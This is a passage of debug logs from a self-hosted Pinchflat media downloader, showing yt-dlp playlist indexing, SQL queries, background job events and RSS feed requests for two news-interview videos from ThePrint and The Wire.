on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "d10bf86c-19dc-4c12-b1d0-c07c89ce7851", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 18:39:05Z], ~U[2026-01-10 18:39:05Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 18:39:05.446 [debug] QUERY OK source="sources" db=0.8ms queue=0.3ms idle=525.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:39:05.495 [debug] QUERY OK source="media_profiles" db=46.5ms queue=0.4ms idle=352.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:39:05.497 [debug] QUERY OK source="media_items" db=0.6ms queue=0.3ms idle=397.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 18:39:05.498 [debug] Current batch of media processed. Will check again in 1000ms 18:39:06.500 [debug] Current batch of media processed. Will check again in 1000ms 18:39:07.501 [debug] Current batch of media processed. Will check again in 1000ms 18:39:08.503 [debug] Current batch of media processed. Will check again in 1000ms 18:39:09.225 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ff/a4/ffa441e7e48d9cdda459d356d95f4554410473818e02f918ec88258190a92228.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:39:09.227 [debug] Gracefully stopping file follower 18:39:09.229 [debug] QUERY OK source="sources" db=1.7ms queue=0.2ms idle=652.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:39:09.230 [debug] QUERY OK source="sources" db=0.5ms queue=0.3ms idle=655.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:39:09.232 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=656.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 18:39:09.370 [debug] QUERY OK source="media_items" db=136.2ms idle=658.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "ab60756c-be80-43f3-9597-bd2193910aa2", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 18:39:09Z], ~U[2026-01-10 18:39:09Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 18:39:09.373 [debug] QUERY OK source="sources" db=0.8ms queue=0.3ms idle=434.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:39:09.374 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=144.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 18:39:09.472 [debug] QUERY OK source="media_items" db=94.2ms idle=144.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "2fe4943c-136c-44ff-8607-6c8e19b92398", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 18:39:09Z], ~U[2026-01-10 18:39:09Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 18:39:09.497 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=263.2ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 18:39:09Z], ~U[2026-01-10 18:39:09Z], 1] 18:39:09.499 [debug] QUERY OK source="media_items" db=1.4ms idle=128.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:39:09.502 [debug] QUERY OK source="media_items" db=0.7ms idle=128.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:39:09.503 [debug] QUERY OK source="media_items" db=0.7ms idle=127.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:39:09.523 [debug] QUERY OK source="tasks" db=5.1ms idle=19.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [92, 1, ~U[2026-01-10 18:39:09Z], ~U[2026-01-10 18:39:09Z]] 18:39:09.528 [info] {"args":{"id":1},"id":91,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":13623105,"event":"job:stop","queue_time":549885,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:39:29.404 [info] {"source":"oban","duration":50654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:43.156 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:39:43.158 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:39:43.250 [debug] QUERY OK source="sources" db=2.2ms queue=0.2ms idle=673.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:39:43.252 [debug] QUERY OK source="media_items" db=1.1ms queue=0.3ms idle=677.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:39:43.257 [debug] QUERY OK source="source_metadata" db=2.5ms idle=680.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:39:43.286 [debug] QUERY OK source="media_metadata" db=28.9ms queue=0.1ms idle=683.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:39:43.341 [info] Sent 200 in 185ms 18:39:58.037 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 18:39:59.407 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.677 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:40:29.409 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:59.412 [info] {"source":"oban","duration":1892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.679 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:41:29.414 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:35.091 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:41:35.091 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:41:35.093 [debug] QUERY OK source="sources" db=0.8ms queue=0.5ms idle=743.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:41:35.095 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=492.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:41:35.097 [debug] QUERY OK source="source_metadata" db=0.5ms idle=495.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:41:35.098 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=496.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:41:35.099 [info] Sent 200 in 7ms 18:41:58.067 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 18:41:59.417 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.681 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:42:29.419 [info] {"source":"oban","duration":1775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:58.076 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 18:42:59.423 [info] {"source":"oban","duration":1800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.683 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:43:29.425 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:59.429 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.686 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:44:29.432 [info] {"source":"oban","duration":2032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:59.434 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.688 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:45:20.589 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:45:20.589 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:45:20.591 [debug] QUERY OK source="sources" db=1.1ms idle=1937.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:45:20.593 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1939.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", 